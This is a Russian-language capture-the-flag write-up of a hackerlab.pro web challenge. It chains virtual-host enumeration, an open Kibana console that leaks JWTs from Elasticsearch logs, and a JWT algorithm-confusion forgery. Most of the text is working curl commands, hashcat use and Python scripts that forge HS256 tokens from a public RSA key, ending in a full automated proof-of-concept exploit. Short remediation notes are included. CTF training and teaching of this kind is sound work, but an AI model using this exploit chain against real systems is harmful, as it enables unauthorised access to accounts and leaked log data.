May 20

День 45. "Хьюстон, у нас течь" hackerlab.pro

=============================================================
ОТЧЁТ ПО РЕШЕНИЮ ЗАДАЧИ "Хьюстон, у нас течь" — Hackerlab.pro
=============================================================

Уровень: Сложный
Категория: Web / Auth Bypass / JWT Algorithm Confusion
Цель: http://62.173.140.174:16108/ (vhost: cybercorp.ctf)
Флаг: CODEBY{Alg0r17hm_M15m47ch}


=============================================================
0. УСЛОВИЕ
=============================================================

Текст условия:

Вы наткнулись на сайт компании "CyberCorp" — разработчика софта
для кибербезопасности. Пройдите авторизацию и заберите флаг.
IP: 62.173.140.174:16108

Название задачи "Хьюстон, у нас течь" — намёк на утечку данных
(leak) где-то в инфраструктуре компании. Подпись флага
"M15m47ch" — намёк на mismatch (несоответствие), т.е. на
несоответствие алгоритма JWT.

Создаём рабочую директорию:

mkdir -p /home/fnay/Pentest/cursor/task/hackerlab.pro/Houston_techa
cd /home/fnay/Pentest/cursor/task/hackerlab.pro/Houston_techa


==============================================================
ШАГ 1. ПЕРВИЧНАЯ РАЗВЕДКА — ОПРЕДЕЛЯЕМ VHOST
==============================================================

Команда:

curl -s -i http://62.173.140.174:16108/ --max-time 10

Полный ответ:

HTTP/1.1 301 Moved Permanently
Server: nginx/1.29.4
Date: Mon, 18 May 2026 10:04:07 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://cybercorp.ctf/

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.29.4</center>
</body>
</html>

Рассуждение. Default vhost у nginx редиректит на cybercorp.ctf —
значит, на сервере виртуальные хосты. Дальше всё ходим с
заголовком Host: cybercorp.ctf.

Команда:

curl -s -i -H "Host: cybercorp.ctf" http://62.173.140.174:16108/ --max-time 10

Ответ — главная HTML-страница компании CyberCorp с тремя
карточками сотрудников и ссылкой /login:

HTTP/1.1 200 OK
Server: nginx/1.29.4
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="ru">
...
<h1 class="display-4">CyberCorp</h1>
...
<h5 class="card-title">Mikhail Stepanov</h5> <p>Guest Blogger</p>
<h5 class="card-title">Ekaterina Ivanova</h5> <p>Junior Developer</p>
<h5 class="card-title">Aleksandr Morozov</h5> <p>SysAdmin</p>
...
<a href="/login" class="btn btn-primary btn-lg">Войти в систему</a>

Запоминаем имена сотрудников — пригодятся для подбора имён
пользователей.


==============================================================
ШАГ 2. КАРТА ЭНДПОИНТОВ И ПЕРВЫЙ ЗАШИЩЁННЫЙ МАРШРУТ
==============================================================

Команда (быстрый перебор популярных путей):

for ep in /robots.txt /sitemap.xml /admin /api /.git/config /.env \
/backup /flag /static/ /uploads/ /blog /posts /users \
/api/users /register /signup /search; do
r=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}" \
-H "Host: cybercorp.ctf" "http://62.173.140.174:16108$ep" --max-time 5)
echo "$ep -> $r"
done

Все ответы 404. Тогда gobuster:

gobuster dir -u http://62.173.140.174:16108/ -H "Host: cybercorp.ctf" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-q -t 30 --timeout 5s

Полный вывод:

/about (Status: 200) [Size: 937]
/login (Status: 200) [Size: 947]
/profile (Status: 403) [Size: 17]

Дальше — содержимое каждого:

curl -s -H "Host: cybercorp.ctf" http://62.173.140.174:16108/about

Полный ответ:

<h1 class="mt-5">Наши сотрудники</h1>
<p>Недавно наша команда обсуждала новую систему авторизации.
Подробности можно найти во внутренних логах.</p>
<ul class="list-group">
<li class="list-group-item">Mikhail Stepanov - Guest Blogger</li>
<li class="list-group-item">Ekaterina Ivanova - Junior Developer</li>
<li class="list-group-item">Aleksandr Morozov - SysAdmin</li>
</ul>

Важный текст: "Подробности можно найти во внутренних логах".
Это прямой намёк: ищем сервис логирования (Kibana / Graylog /
Loki / etc.).

curl -s -i -H "Host: cybercorp.ctf" http://62.173.140.174:16108/profile

HTTP/1.1 403 FORBIDDEN
Content-Length: 17

No token provided

Профиль требует токен. По каналам пробуем варианты передачи:

curl -s -i -H "Host: cybercorp.ctf" -H "Cookie: token=xxx" \
http://62.173.140.174:16108/profile

HTTP/1.1 500 INTERNAL SERVER ERROR
Server error: Not enough segments

Сообщение "Not enough segments" — типичная ошибка библиотеки
PyJWT, когда строка не делится на три части по точке. Значит:

- Токен передаётся в Cookie token=...
- Это JWT.


==============================================================
ШАГ 3. ОПРЕДЕЛЕНИЕ ТИПА ПРОВЕРКИ JWT
==============================================================

Проверка alg=none:

H=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
P=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
TOK="$H.$P."
curl -s -i -H "Host: cybercorp.ctf" -H "Cookie: token=$TOK" \
http://62.173.140.174:16108/profile

HTTP/1.1 403 FORBIDDEN
Unsupported algorithm

alg=none не принимают. Тогда HS256 с произвольной подписью:

TOK="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.invalidsig"
curl -s -i -H "Host: cybercorp.ctf" -H "Cookie: token=$TOK" \
http://62.173.140.174:16108/profile

HTTP/1.1 403 FORBIDDEN
Invalid token signature

HS256 поддерживается, но нужна валидная подпись. Нужен секрет
или валидный токен.


==============================================================
ШАГ 4. УТЕЧКА — ИЩЕМ "ВНУТРЕННИЕ ЛОГИ"
==============================================================

Текст из /about прямо говорит про внутренние логи. На сабдомене
основного хоста, очевидно, что-то крутится. Перебираем поддомены
по словарю.

Команда:

gobuster vhost -u http://62.173.140.174:16108/ \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--append-domain --domain cybercorp.ctf -q -t 30 --timeout 5s

Полный вывод:

Found: logs.cybercorp.ctf Status: 302 [Size: 0] [--> /spaces/enter]

Найден сабдомен logs.cybercorp.ctf. Идём туда:

curl -s -i -H "Host: logs.cybercorp.ctf" http://62.173.140.174:16108/

Полный ответ:

HTTP/1.1 302 Found
location: /spaces/enter
x-content-type-options: nosniff
kbn-name: 370c97d0129f
kbn-license-sig: d02f99f3aabeaa1c4ed51369f5f839a1ff5bd8ea9bba6befc839381842c6d158
cache-control: private, no-cache, no-store, must-revalidate

Заголовки kbn-name и kbn-license-sig — однозначная подпись
Kibana. Уточняем версию:

curl -s -H "Host: logs.cybercorp.ctf" \
http://62.173.140.174:16108/api/status | python3 -m json.tool | head

{
"name": "370c97d0129f",
"uuid": "289c061d-5f66-4e3e-a4c1-2442e237a61a",
"version": {
"number": "7.17.0",
...
},
"status": { "overall": { "state": "green" } }
...

Kibana 7.17.0 без авторизации — это и есть утечка. Через Kibana
есть прямой проксированный доступ к Elasticsearch:
/api/console/proxy.


==============================================================
ШАГ 5. СПИСОК ИНДЕКСОВ ELASTICSEARCH
==============================================================

Команда (Kibana требует заголовок kbn-xsrf):

curl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" \
-X POST "http://62.173.140.174:16108/api/console/proxy?path=_cat/indices&method=GET"

Полный ответ:

green open .geoip_databases ... 43 42 40.1mb 40.1mb
green open .reporting-2026-02-15 ... 2 1 476.7kb 476.7kb
green open .kibana_7.17.0_001 ... 1355 148 4.8mb 4.8mb
green open .apm-custom-link ... 0 0 226b 226b
yellow open testcfg ... 0 0 226b 226b
green open .apm-agent-configuration ... 0 0 226b 226b
yellow open cybercorp-logs ... 3000 0 529.5kb 529.5kb
yellow open testjvm ... 0 0 226b 226b
yellow open index ... 1 0 3.6kb 3.6kb
green open .async-search ... 0 0 260b 260b
green open .reporting-2026-04-12 ... 1 0 286kb 286kb
green open .kibana_task_manager_7.17.0_001 ... 17 227590 44.3mb 44.3mb

Прицеливаемся в cybercorp-logs (3000 документов).


==============================================================
ШАГ 6. ДАМП ЛОГОВ И НАЙДЕННЫЕ ТОКЕНЫ
==============================================================

Команда:

curl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" \
-X POST "http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search?size=5&method=GET" \
| python3 -m json.tool

Полный фрагмент (первый документ показателен):

{
"took": 1,
"hits": {
"total": {"value": 3000, "relation": "eq"},
"hits": [
{
"_index": "cybercorp-logs",
"_id": "0",
"_source": {
"timestamp": "2024-03-09T17:42:23",
"message": "Database connection pool increased to 50.",
"user": "dmitry.sokolov",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9.uAYwHKNlvW0oxajh2aMfwQL-ZcAvCHOJ_FvVw2YBjv8"
}
},
...
]
}
}

В логах ЛЕЖАТ JWT-токены пользователей — прямая утечка.
Декодируем для понимания структуры:

echo "eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9" | base64 -d
{"user":"dmitry.sokolov","role":"employee","exp":1732536156}

Структура payload-а: user, role, exp. Все токены HS256.

Собираем все токены и смотрим уникальные роли:

curl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" \
-H "Content-Type: application/json" \
-X POST "http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search&method=POST" \
-d '{"size":3000,"query":{"exists":{"field":"token"}},"_source":["token","user"]}' \
> /tmp/all_tokens.json

Парсим payload, считаем роли:

Total hits with token: 1491

=== ROLE: employee (874) ===
pavel.nikolaev, anna.kuznetsova, natalia.morozova, aleksandr.morozov,
dmitry.sokolov, sergey.ivanov, ...

=== ROLE: user (298) ===
olga.smirnova, ekaterina.ivanova, ...

=== ROLE: guest (319) ===
mikhail.stepanov, ivan.petrov, ...

Только 3 роли: employee, user, guest. Все exp в прошлом.


==============================================================
ШАГ 7. ПРОВЕРКА — ОДНА ЛИ СУПИСЬ И КАК ВАЛИДИРУЕТСЯ
==============================================================

Шлём один из реальных протухших токенов:

TOK="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZG1pdHJ5LnNva29sb3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3MzI1MzYxNTZ9.uAYwHKNlvW0oxajh2aMfwQL-ZcAvCHOJ_FvVw2YBjv8"
curl -s -i -H "Host: cybercorp.ctf" -H "Cookie: token=$TOK" \
http://62.173.140.174:16108/profile

HTTP/1.1 403 FORBIDDEN
Token expired

"Token expired" вместо "Invalid token signature" значит, что
ПОДПИСЬ ВАЛИДНА (общий секрет одинаков для всех токенов в
логах), просто exp в прошлом. Если узнаем секрет — выпустим
свежий токен.


==============================================================
ШАГ 8. КРЕК СЕКРЕТА — ПЕРВАЯ ПОПЫТКА (RockYou)
==============================================================

Команда:

echo "$TOK" > jwt_hash.txt
hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt -O

Результат:

Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Speed.#1.........: 2104.6 kH/s
Recovered........: 0/1 (0.00%)
Progress.........: 14344385/14344385 (100.00%)

Секрет не словарный. Нужен другой путь.


==============================================================
ШАГ 9. ПОИСК ПО ЛОГАМ КЛЮЧЕВЫХ СЛОВ
==============================================================

Команда:

for term in secret key password JWT_SECRET token_secret config; do
echo "=== $term ==="
curl -s -H "Host: logs.cybercorp.ctf" -H "kbn-xsrf: true" \
-H "Content-Type: application/json" \
-X POST "http://62.173.140.174:16108/api/console/proxy?path=cybercorp-logs/_search&method=POST" \
-d "{\"size\":5,\"query\":{\"query_string\":{\"query\":\"$term\"}}}" \
| python3 -m json.tool
done

Полезный результат пришёл по запросу "key":

{
"hits": {
"total": {"value": 1, "relation": "eq"},
"hits": [{
"_id": "2641",
"_source": {
"timestamp": "2024-06-22T00:51:05",
"message": "Public key at /keys/public.pem"
}
}]
}
}

В логе упомянут путь /keys/public.pem.


==============================================================
ШАГ 10. ЗАБИРАЕМ ПУБЛИЧНЫЙ КЛЮЧ
==============================================================

Команда:

curl -s -H "Host: cybercorp.ctf" \
http://62.173.140.174:16108/keys/public.pem -o public.pem
cat public.pem

Полный вывод:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsWf893QPffBxTpySt2KW
sDTmD2Ftb4kwXxTbFSCnBZSWfasNqkxt2+bIJvlMFcjm2Ee7PNMoPv4d+/h81nLv
lfOQIOE7kbfoqvLx0jtbQU2Sa1cUP57BjP96jgiJWtj6U3LecbwFqyT/WlpSTA22
6Mad2s3SdoWeDjGR6XT4LxlYIJ2a/gHv30nY73V7WJ0NEIBFromw4hk7ub98gsVg
8zYQfEz04yIN5g8jbu6fG/EZmgENYdc05jQ26kkABweK3UmvzCIgZpwkb6x5Qz7b
n+ML8/Q/7H57O/KG7Os4h5M0hbQBYOvz7l8Ln8mMwjPcetD5+DoT58DR/ywzZZAJ
nwIDAQAB
-----END PUBLIC KEY-----

Здесь и сходится загадка названия "M15m47ch": алгоритмический
мисматч. Классическая уязвимость JWT-библиотек: если сервер
изначально проверяет RS256, но принимает HS256 — он использует
PEM публичного ключа как HMAC-секрет. Атакующий уже знает
публичный ключ (он публичен), значит может подписать свой HS256
токен.


==============================================================
ШАГ 11. ПОДДЕЛКА ТОКЕНА — HS256 С PUBLIC.PEM КАК СЕКРЕТОМ
==============================================================

Питон-однострочник, перебирающий формы PEM (с/без \n) как
секрета:

python3 << 'EOF'
import hmac, hashlib, base64, json, time

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
with open('public.pem','rb') as f: pub = f.read()

for name, secret in [
('raw', pub),
('stripped', pub.strip()),
('strip+nl', pub.strip()+b'\n'),
]:
h_b = b64url(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p_b = b64url(json.dumps({"user":"admin","role":"admin",
"exp":int(time.time())+3600},separators=(',',':')).encode())
sig = b64url(hmac.new(secret, f"{h_b}.{p_b}".encode(), hashlib.sha256).digest())
print(name, len(secret), f"{h_b}.{p_b}.{sig}")
EOF

Шлём оба варианта; нас интересует именно ТО, что вернёт "Access
denied" вместо "Invalid token signature" — это и есть верная
форма ключа.

Первый запрос (PEM с финальным \n):

curl -s -i -H "Host: cybercorp.ctf" \
-H "Cookie: token=<raw_pem_jwt>" \
http://62.173.140.174:16108/profile

HTTP/1.1 403 FORBIDDEN
Access denied

Второй запрос (PEM без \n):

HTTP/1.1 403 FORBIDDEN
Invalid token signature

Победила форма "PEM как файл, с финальным переводом строки".
Подпись валидна — осталось подобрать user+role, которому реально
разрешён /profile.


==============================================================
ШАГ 12. ПОДБОР USER + ROLE
==============================================================

Из логов известны 3 роли и 10+ имён. Перебираем реальные
сочетания (валидная роль + реальное имя):

real = [
("dmitry.sokolov", "employee"),
("aleksandr.morozov", "employee"),
("mikhail.stepanov", "guest"),
("olga.smirnova", "user"),
("ekaterina.ivanova", "user"),
]

Полный вывод (Python-скрипт пробивает /profile с каждым):

u=dmitry.sokolov r=employee -> 403 Access denied
u=aleksandr.morozov r=employee -> 200 OK
u=mikhail.stepanov r=guest -> 403 Access denied
u=olga.smirnova r=user -> 403 Access denied
u=ekaterina.ivanova r=user -> 403 Access denied

Прошёл только Aleksandr Morozov — тот самый SysAdmin со
страницы /about.


==============================================================
ШАГ 13. ПОЛУЧЕНИЕ ФЛАГА
==============================================================

Команда:

python3 << 'EOF'
import hmac, hashlib, base64, json, time, urllib.request

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b'=').decode()
with open('public.pem','rb') as f: pub = f.read()
secret = pub if pub.endswith(b'\n') else pub + b'\n'

payload = {"user":"aleksandr.morozov","role":"employee",
"exp": int(time.time())+3600}
h_b = b64url(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p_b = b64url(json.dumps(payload,separators=(',',':')).encode())
sig = b64url(hmac.new(secret, f"{h_b}.{p_b}".encode(), hashlib.sha256).digest())
tok = f"{h_b}.{p_b}.{sig}"
print("TOK:", tok)

req = urllib.request.Request("http://62.173.140.174:16108/profile",
headers={"Host":"cybercorp.ctf","Cookie":f"token={tok}"})
with urllib.request.urlopen(req, timeout=5) as r:
print(r.read().decode())
EOF

Полный ответ:

TOK: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxla3NhbmRyLm1vcm96b3YiLCJyb2xlIjoiZW1wbG95ZWUiLCJleHAiOjE3NzkxMDMxMDJ9._j48Aoe0mCs1tIXKYluV7uuGU15Lv0HtV-pPKiWKWHc

<!DOCTYPE html>
<html>
<head>
<title>Профиль - CyberCorp</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<h1 class="mt-5">Профиль сотрудника</h1>
<p>Добро пожаловать, сотрудник CyberCorp!</p>
<div class="alert alert-success">Флаг: CODEBY{Alg0r17hm_M15m47ch}</div>
<a href="/" class="btn btn-primary mt-3">Назад</a>
</div>
</body>
</html>


ФЛАГ:

CODEBY{Alg0r17hm_M15m47ch}


==============================================================
ПОЧЕМУ СЕРВИС УЯЗВИМ
==============================================================

1. Kibana 7.17.0 (logs.cybercorp.ctf) выставлена в интернет без
аутентификации. Любой обладатель URL получает прямой доступ
к индексам Elasticsearch через /api/console/proxy.

2. В индекс cybercorp-logs пишутся JWT-токены пользователей
как обычные поля документов — прямая утечка PII/секретов.

3. Бэкенд аутентификации страдает классической Algorithm
Confusion: для HS256 в качестве секрета используется
содержимое PEM-файла, который сам по себе публичен (это же
public.pem). Любой, кто его скачает, может подделать любые
HS256-токены.

4. Файл /keys/public.pem отдаётся nginx-ом наружу без всяких
ограничений.


==============================================================
КАК ИСПРАВИТЬ
==============================================================

- Закрыть Kibana basic-auth-ом или kibana.yml с настроенной
ролью в xpack.security; ограничить доступ по IP.
- Не писать JWT в логи. Маскировать поля token/password/secret
в логгере.
- При проверке RS256-токенов жёстко фиксировать алгоритм:
jwt.decode(token, pub, algorithms=["RS256"])
Никогда не позволять библиотеке выбрать алгоритм по полю
header.alg.
- /keys/public.pem либо не отдавать клиенту вообще, либо
раскрыть только содержимое (а не path как hint).


==============================================================
ИТОГО
==============================================================

Цепочка: vhost-enum → открытая Kibana → утечка JWT в логах
→ лог с путём к public.pem → HS256 forge на pub.pem
→ подбор user+role → /profile отдаёт флаг.

ФЛАГ: CODEBY{Alg0r17hm_M15m47ch}
---


Poc

и


#!/usr/bin/env python3
"""
PoC: JWT Algorithm Confusion + Kibana data leak
Задача: "Хьюстон, у нас течь" (hackerlab.pro)

Цепочка эксплуатации:
1. Поиск vhost-ов на одном IP -> logs.cybercorp.ctf (Kibana 7.17 без auth).
2. Через /api/console/proxy дёргаем Elasticsearch напрямую и
вычитываем индекс cybercorp-logs со слитыми JWT.
3. Один из логов указывает путь /keys/public.pem.
4. PEM с публичным RSA-ключом отдаётся нашему vhost-у cybercorp.ctf.
5. Подделываем HS256-токен, используя содержимое public.pem
как HMAC-секрет (классический JWT algorithm confusion).
6. Перебираем пары user+role на /profile до 200 OK.
7. Достаём флаг со страницы.

Использование:
python3 poc.py # дефолтный таргет
python3 poc.py http://IP:PORT
"""

import sys
import re
import json
import time
import hmac
import hashlib
import base64
import urllib.request
import urllib.error


DEFAULT_TARGET = "http://62.173.140.174:16108"
APP_VHOST = "cybercorp.ctf"
LOGS_VHOST = "logs.cybercorp.ctf"
PUBKEY_PATH = "/keys/public.pem"
LOGS_INDEX = "cybercorp-logs"
PROFILE_PATH = "/profile"


# ---------- хакерский вывод (только зелёный/белый) ----------

class C:
G = "\033[38;5;46m"
W = "\033[97m"
BOLD = "\033[1m"
END = "\033[0m"


BANNER = r"""
___ __ __ __ ___ __ __
|__ |__) / \ / ` |__| /\ |__/ |__ |__) | /\ |__)
| ___ | \__/ \__, ___ | | /~~\ | \ |___ | \ |___ /~~\ |__)
"""


def banner(text):
print()
print(f"{C.BOLD}{C.G}{'=' * 70}{C.END}")
print(f"{C.BOLD}{C.G}{text}{C.END}")
print(f"{C.BOLD}{C.G}{'=' * 70}{C.END}")


def step(num, title):
print()
print(f"{C.BOLD}{C.G}[ШАГ {num}]{C.END} {C.BOLD}{C.W}{title}{C.END}")
print(f"{C.G}{'-' * 70}{C.END}")


def info(label, value):
print(f" {C.G}{label}:{C.END} {C.W}{value}{C.END}")


def good(text): print(f" {C.BOLD}{C.G}[+]{C.END} {C.W}{text}{C.END}")
def bad(text): print(f" {C.BOLD}{C.G}[-]{C.END} {C.W}{text}{C.END}")
def note(text): print(f" {C.G}[*]{C.END} {C.W}{text}{C.END}")


# ---------- HTTP ----------

def http(method, target, path, host, headers=None, body=None, timeout=15):
req_headers = {"Host": host}
if headers:
req_headers.update(headers)
if body is not None and isinstance(body, (dict, list)):
body = json.dumps(body).encode()
req_headers.setdefault("Content-Type", "application/json")
elif isinstance(body, str):
body = body.encode()

req = urllib.request.Request(
target + path,
data=body,
headers=req_headers,
method=method,
)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.getcode(), r.read().decode(errors="replace"), dict(r.headers)
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace"), dict(e.headers)
except urllib.error.URLError as e:
bad(f"сеть недоступна: {e}")
sys.exit(1)


# ---------- JWT ----------

def b64url(b):
return base64.urlsafe_b64encode(b).rstrip(b'=').decode()


def jwt_hs256(payload, secret):
h_b = b64url(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(',',':')).encode())
p_b = b64url(json.dumps(payload, separators=(',',':')).encode())
sig = b64url(hmac.new(secret, f"{h_b}.{p_b}".encode(), hashlib.sha256).digest())
return f"{h_b}.{p_b}.{sig}"


# ---------- шаги ----------

def step1_check_kibana(target):
step(1, "Проверка открытой Kibana на logs.cybercorp.ctf")
code, body, headers = http("GET", target, "/api/status", LOGS_VHOST)
info("Status", code)

if "kbn-name" in {k.lower() for k in headers}:
good("Kibana обнаружена (по заголовкам kbn-*)")
try:
j = json.loads(body)
info("Kibana version", j["version"]["number"])
info("Overall state", j["status"]["overall"]["state"])
except Exception:
bad("не удалось разобрать JSON статуса")
sys.exit(1)


def step2_list_indices(target):
step(2, "Чтение индексов Elasticsearch через /api/console/proxy")
code, body, _ = http(
"POST", target,
"/api/console/proxy?path=_cat/indices&method=GET",
LOGS_VHOST,
headers={"kbn-xsrf": "true"},
)
info("Status", code)
for line in body.strip().splitlines():
if LOGS_INDEX in line:
print(f" {C.BOLD}{C.G}>>>{C.END} {C.W}{line}{C.END}")
good(f"индекс {LOGS_INDEX} найден")
return
bad(f"индекс {LOGS_INDEX} не найден")
sys.exit(1)


def step3_leak_sample_token(target):
step(3, "Утечка JWT из логов cybercorp-logs")
query = {"size": 10, "query": {"exists": {"field": "token"}}, "_source": ["user", "token"]}
code, body, _ = http(
"POST", target,
f"/api/console/proxy?path={LOGS_INDEX}/_search&method=POST",
LOGS_VHOST,
headers={"kbn-xsrf": "true"},
body=query,
)
info("Status", code)
j = json.loads(body)
hits = j.get("hits", {}).get("hits", [])
info("Найдено документов с token", j["hits"]["total"]["value"])
if not hits:
bad("в логах нет токенов")
sys.exit(1)
sample = hits[0]["_source"]
info("Sample user", sample.get("user"))
info("Sample token", sample.get("token")[:60] + "...")
return sample.get("token")


def step4_check_signature_reuse(target, leaked_token):
step(4, "Проверка валидности подписи (что секрет общий)")
code, body, _ = http(
"GET", target, PROFILE_PATH, APP_VHOST,
headers={"Cookie": f"token={leaked_token}"},
)
info("Status", code)
info("Body", body[:80])
if "expired" in body.lower():
good("подпись валидна (Token expired) — секрет общий для всех токенов")
elif "invalid" in body.lower():
bad("подпись не подходит — посмотрите вариант секрета")
sys.exit(1)


def step5_find_pubkey_hint(target):
step(5, "Поиск пути к публичному ключу в логах")
query = {"size": 5, "query": {"query_string": {"query": "key"}}}
code, body, _ = http(
"POST", target,
f"/api/console/proxy?path={LOGS_INDEX}/_search&method=POST",
LOGS_VHOST,
headers={"kbn-xsrf": "true"},
body=query,
)
j = json.loads(body)
for h in j["hits"]["hits"]:
msg = h["_source"].get("message", "")
m = re.search(r"(/\S+\.pem)", msg)
if m:
info("Лог-запись", msg)
good(f"путь к ключу: {m.group(1)}")
return m.group(1)
bad("в логах нет упоминания .pem")
sys.exit(1)


def step6_fetch_pubkey(target, path):
step(6, "Загрузка публичного ключа")
code, body, _ = http("GET", target, path, APP_VHOST)
info("Status", code)
if "BEGIN PUBLIC KEY" not in body:
bad("по этому пути нет PEM")
sys.exit(1)
good("public.pem получен:")
for line in body.strip().splitlines():
print(f" {C.W}{line}{C.END}")
return body


def step7_forge_token(target, pubkey_pem):
step(7, "Подделка HS256-токена (PEM как HMAC-секрет)")
note("Алгоритм-confusion: сервер ждёт RS256, но принимает HS256, "
"используя содержимое public.pem как симметричный секрет.")

pub_bytes = pubkey_pem.encode()
variants = {
"raw": pub_bytes,
"strip": pub_bytes.strip(),
"strip+\\n": pub_bytes.strip() + b"\n",
}

real_pairs = [
("dmitry.sokolov", "employee"),
("aleksandr.morozov", "employee"),
("mikhail.stepanov", "guest"),
("olga.smirnova", "user"),
("ekaterina.ivanova", "user"),
]

for variant_name, secret in variants.items():
info("Пробуем форму секрета", f"{variant_name} ({len(secret)} байт)")
for user, role in real_pairs:
tok = jwt_hs256(
{"user": user, "role": role, "exp": int(time.time()) + 3600},
secret,
)
code, body, _ = http(
"GET", target, PROFILE_PATH, APP_VHOST,
headers={"Cookie": f"token={tok}"},
)
short = body.strip().replace("\n", " ")[:60]
print(f" {C.G}u={user:22} r={role:10}{C.END} "
f"{C.W}-> {code} | {short}{C.END}")
if code == 200:
good(f"взяли /profile с user={user}, role={role}")
return tok, body

bad("ни одна пара user/role не дала 200")
sys.exit(1)


def step8_extract_flag(html):
step(8, "Извлечение флага из ответа")
m = re.search(r"(CODEBY\{[^}]+\}|[A-Za-z0-9_]+\{[^}]+\})", html)
if m:
good(f"нашли: {m.group(1)}")
return m.group(1)
note("явного флага не нашлось, печатаю полный body:")
print(html)
return None


# ---------- main ----------

def main():
target = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else DEFAULT_TARGET

print(f"{C.BOLD}{C.G}{BANNER}{C.END}")
banner(f"PoC: Хьюстон, у нас течь ({target})")
info("Target", target)
info("App vhost", APP_VHOST)
info("Logs vhost", LOGS_VHOST)

step1_check_kibana(target)
step2_list_indices(target)
leaked = step3_leak_sample_token(target)
step4_check_signature_reuse(target, leaked)
pubkey_path = step5_find_pubkey_hint(target)
pem = step6_fetch_pubkey(target, pubkey_path)
_, body = step7_forge_token(target, pem)
flag = step8_extract_flag(body)

banner("РЕЗУЛЬТАТ")
if flag:
print(f" {C.BOLD}{C.G}FLAG:{C.END} {C.BOLD}{C.W}{flag}{C.END}")
print()


if __name__ == "__main__":
main()


Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!